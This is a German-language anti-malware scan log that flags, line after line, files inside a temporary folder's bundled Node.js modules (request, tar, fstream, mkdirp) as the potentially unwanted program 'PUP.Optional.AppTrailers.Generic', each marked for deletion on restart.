PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\http-signature\node_modules\asn1\tst\ber\reader.test.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\http-signature\node_modules\asn1\tst\ber\writer.test.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\http-signature\node_modules\asn1\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\http-signature\node_modules\asn1\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\http-signature\node_modules\assert-plus\assert.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\http-signature\node_modules\assert-plus\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\http-signature\node_modules\assert-plus\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\http-signature\node_modules\ctype\man\man3ctype\ctio.3ctype, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\http-signature\node_modules\ctype\tools\jsl.conf, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\http-signature\node_modules\ctype\ctf.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\http-signature\node_modules\ctype\ctio.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\http-signature\node_modules\ctype\ctype.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\http-signature\node_modules\ctype\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\http-signature\node_modules\ctype\README.old, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\http-signature\http_signing.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\http-signature\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\http-signature\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\json-stringify-safe\test\mocha.opts, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\json-stringify-safe\test\stringify_test.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\json-stringify-safe\CHANGELOG.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\json-stringify-safe\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\json-stringify-safe\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\json-stringify-safe\stringify.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\mime-types\lib\custom.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\mime-types\lib\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\mime-types\lib\mime.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\mime-types\lib\node.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\mime-types\component.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\mime-types\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\mime-types\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\mime-types\SOURCES.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\node-uuid\benchmark\bench.gnu, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\node-uuid\benchmark\bench.sh, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\node-uuid\benchmark\benchmark-native.c, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\node-uuid\benchmark\benchmark.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\node-uuid\benchmark\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\node-uuid\lib\sha1-browser.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\node-uuid\test\compare_v1.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\node-uuid\test\test.html, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\node-uuid\test\test.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\node-uuid\bower.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\node-uuid\component.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\node-uuid\LICENSE.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\node-uuid\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\node-uuid\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\node-uuid\uuid.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\node-uuid\v3.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\oauth-sign\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\oauth-sign\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\oauth-sign\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\oauth-sign\test.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\qs\lib\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\qs\lib\parse.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\qs\lib\stringify.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\qs\lib\utils.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\qs\test\parse.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\qs\test\stringify.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\qs\CHANGELOG.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\qs\CONTRIBUTING.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\qs\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\qs\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\qs\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\stringstream\example.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\stringstream\LICENSE.txt, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\stringstream\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\stringstream\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\stringstream\stringstream.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\tough-cookie\lib\cookie.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\tough-cookie\lib\memstore.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\tough-cookie\lib\pathMatch.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\tough-cookie\lib\permuteDomain.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\tough-cookie\lib\pubsuffix.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\tough-cookie\lib\store.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\tough-cookie\node_modules\punycode\LICENSE-MIT.txt, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\tough-cookie\node_modules\punycode\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\tough-cookie\node_modules\punycode\punycode.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\tough-cookie\node_modules\punycode\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\tough-cookie\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\tough-cookie\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\tunnel-agent\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\tunnel-agent\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\tunnel-agent\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\CHANGELOG.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\CONTRIBUTING.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\disabled.appveyor.yml, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\release.sh, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\request.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\examples\extracter.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\examples\packer.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\examples\reader.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\lib\buffer-entry.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\lib\entry-writer.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\lib\entry.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\lib\extended-header-writer.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\lib\extended-header.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\lib\extract.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\lib\global-header-writer.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\lib\header.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\lib\pack.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\lib\parse.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\block-stream\block-stream.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\block-stream\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\block-stream\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\examples\filter-pipe.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\examples\pipe.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\examples\reader.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\examples\symlink-write.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\lib\abstract.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\lib\collect.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\lib\dir-reader.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\lib\dir-writer.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\lib\file-reader.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\lib\file-writer.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\lib\get-type.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\lib\link-reader.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\lib\link-writer.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\lib\proxy-reader.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\lib\proxy-writer.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\lib\reader.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\lib\socket-reader.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\lib\writer.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\graceful-fs\fs.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\graceful-fs\graceful-fs.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\graceful-fs\legacy-streams.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\graceful-fs\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\graceful-fs\polyfills.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\graceful-fs\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\mkdirp\bin\cmd.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\mkdirp\bin\usage.txt, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\mkdirp\examples\pow.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\mkdirp\node_modules\minimist\example\parse.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\mkdirp\node_modules\minimist\test\dash.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\mkdirp\node_modules\minimist\test\default_bool.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\mkdirp\node_modules\minimist\test\dotted.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\mkdirp\node_modules\minimist\test\long.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\mkdirp\node_modules\minimist\test\parse.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\mkdirp\node_modules\minimist\test\parse_modified.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\mkdirp\node_modules\minimist\test\short.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\mkdirp\node_modules\minimist\test\whitespace.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\mkdirp\node_modules\minimist\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\mkdirp\node_modules\minimist\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\mkdirp\node_modules\minimist\readme.markdown, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\mkdirp\test\chmod.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\mkdirp\test\clobber.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\mkdirp\test\mkdirp.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\mkdirp\test\opts_fs.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\mkdirp\test\opts_fs_sync.js, Löschen bei Neustart, [2862], [371306],1.0.2075
